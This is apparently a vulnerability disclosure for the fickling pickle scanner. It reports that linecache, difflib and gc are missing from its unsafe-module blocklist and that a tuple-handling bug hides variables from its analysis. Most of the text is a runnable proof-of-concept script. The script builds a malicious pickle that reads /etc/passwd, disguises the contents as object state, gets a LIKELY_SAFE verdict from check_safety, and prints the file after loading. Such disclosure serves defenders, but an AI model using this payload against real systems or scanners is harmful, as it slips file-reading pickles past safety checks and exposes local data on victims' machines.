fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist

for statement in self.module_body:
    if isinstance(statement, ast.Assign):
        if (
            len(statement.targets) == 1
            and isinstance(statement.targets[0], ast.Name)
            and statement.targets[0].id == "result"
        ):
            break
        ...
        statement = statement.value
    if statement is not None:
        for node in ast.walk(statement):
            if isinstance(node, ast.Name):
                used.add(node.id)

# Build.run() generates:
_var4 = _var3                     # Assign  - _var3 added to used
_var4.__setstate__(_var2)         # Expr    - _var2 and _var4 added to used

def run(self, interpreter: Interpreter):
    top = interpreter.stack.pop()
    mid = interpreter.stack.pop()
    bot = interpreter.stack.pop()
    interpreter.stack.append(ast.Tuple((bot, mid, top), ast.Load()))
    #                                   ^^^^^^^^^^^^^^^^
    #                                   Python tuple, not list

import ast
name = ast.Name(id='_var1', ctx=ast.Load())

# Correct (list elts) - ast.walk finds it
t = ast.Tuple(elts=[name], ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # ['_var1']

# Buggy (tuple elts) - ast.walk finds nothing
t = ast.Tuple(elts=(name,), ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # []

from linecache import getlines      # not in UNSAFE_IMPORTS
_var0 = getlines('/etc/passwd')     # reads the file
from builtins import enumerate
_var1 = enumerate(_var0)            # _var0 in RHS - added to used
from builtins import dict
_var2 = dict(_var1)                 # _var1 in RHS - added to used; produces {0:'line1',...}
from difflib import Differ
_var3 = Differ()                    # stdlib, not in UNSAFE_IMPORTS
_var4 = _var3
_var4.__setstate__(_var2)           # BUILD Expr - _var2 and _var4 added to used
result = _var3                      # loop breaks here; nothing in defined−used

#!/usr/bin/env python3
import io
import sys

import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety, Severity
from fickling.loader import load
from fickling.exception import UnsafeFileError

TARGET = "/etc/passwd"

pickled = Pickled([
    op.Proto.create(4),

    op.ShortBinUnicode("linecache"),
    op.ShortBinUnicode("getlines"),
    op.StackGlobal(),
    op.ShortBinUnicode(TARGET),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[0] = _var0 = getlines(TARGET)

    op.Global("builtins enumerate"),
    op.BinGet(0),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[1] = _var1 = enumerate(_var0)

    op.Global("builtins dict"),
    op.BinGet(1),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[2] = _var2 = dict(_var1)

    op.ShortBinUnicode("difflib"),
    op.ShortBinUnicode("Differ"),
    op.StackGlobal(),
    op.EmptyTuple(),
    op.Reduce(),
    op.Memoize(),                   # memo[3] = _var3 = Differ()

    op.BinGet(2),                   # push _var2 as BUILD state
    op.Build(),                     # _var4=_var3; _var4.__setstate__(_var2)

    op.BinGet(3),
    op.Stop(),
])

result = check_safety(pickled)
assert result.severity == Severity.LIKELY_SAFE, f"Expected LIKELY_SAFE, got {result.severity}"
print(f"[+] check_safety verdict : {result.severity.name}  (bypass confirmed)")

buf = io.BytesIO()
pickled.dump(buf)

obj = load(io.BytesIO(buf.getvalue()))
lines = {k: v for k, v in obj.__dict__.items() if isinstance(k, int)}

print(f"[+] fickling.load() returned : {type(obj).__name__}")
print(f"[+] {TARGET} - {len(lines)} lines exfiltrated:\n")
for i in sorted(lines):
    print(f"{lines[i]}", end="")